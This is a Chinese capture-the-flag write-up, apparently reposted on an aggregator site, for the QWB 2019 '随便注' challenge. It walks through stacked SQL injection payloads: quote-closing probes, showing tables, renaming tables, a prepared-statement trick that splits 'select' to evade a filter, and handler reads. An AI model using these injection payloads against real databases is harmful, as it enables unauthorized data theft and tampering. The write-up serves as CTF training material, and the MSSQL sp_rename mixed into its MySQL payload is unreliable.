[强网杯2019]随便注

Posted upstream秦玉

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[强网杯2019]随便注相关的知识,希望对你有一定的参考价值。

强网杯2019随便注

它说随便注,它可不是随便注入的哈

首先测试闭合环境,因为有回显,所以很快即知道了是一个单引号闭合

接下来常规操作,得到列数大概为2

1\';select 2;

返回了过滤信息

image-20210531201917783

于是使用show来查看库,表,列

显然,这里已经将select过滤掉,只有对这个过滤进行一个绕过才能够得到flag

接着查询表名:
1\';show tables;
又发现这里有两个表名

所以考虑3个方式:

方式1.修改表名

思路:既然只输入一个值进去就能够查询,说明这里的前后,必然有表名的存在。能不能将

SQL语句增加列、修改列、删除列

增加列:
alter table tableName add columnName varchar(30)
修改列名称:
sp_rename \'表名.原列名\',\'新列名\'
修改表名:
alter table old_table_name rename to new_table_name;

playload+解释:

1.查看表名:
1’;show tables;
	得到两张表:
	`1919810931114514`
	`words`

2.查看表结构:
1\';show columns from `1919810931114514`;
1\';show columns from `words`;
	由于图片有点长,就不粘贴了
	需要注意的在表`1919810931114514`中有flag,在`words`中有id

3.修改表名:将数字表修改为其它名字
1\';alter table `1919810931114514` rename to shuzi;

4.修改表名2:交换名称
1\';alter table `words` rename to `1919810931114514`;alter table `shuzi` rename to `words`;sp_rename \'words.flag\',\'id\';
	为什么这一句这么长?
	因为查询的是words表的id,修改之后,原来的数字表中不存在id,所以要进行添加,必须在修改words的时候添加。如果不在这个时候添加,就会出现语句漏洞,而报错,就得重新开环境了。别问为什么,因为错了很多次。

结果报错了:

image-20210531233501918

那看来不能修改表名。俺这里是真的不行了,建议看看其他大佬的。

方法2:预处理

1\';set @sql=concat(\'s\',\'elect * from 1919810931114514\');PREPARE pre FROM @sql;EXECUTE pre;--+

MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园 (cnblogs.com))

方法3:handler

利用其他命令:

handler table open;handler table read first;	#打开表,读取

-1\';handler `words` open;handler `words` read first;#
-1\';handler `1919810931114514` open;handler `1919810931114514` read first;#

MySQL5.7手册handler使用方法

以上是关于[强网杯2019]随便注的主要内容,如果未能解决你的问题,请参考以下文章

[强网杯 2019]随便注

[强网杯 2019]随便注

BUUCTF-[强网杯 2019]随便注

[强网杯 2019]随便注

强网杯 2019]随便注(堆叠注入,Prepareexecutedeallocate)

[BUUOJ记录] [强网杯 2019]随便注(三种方法)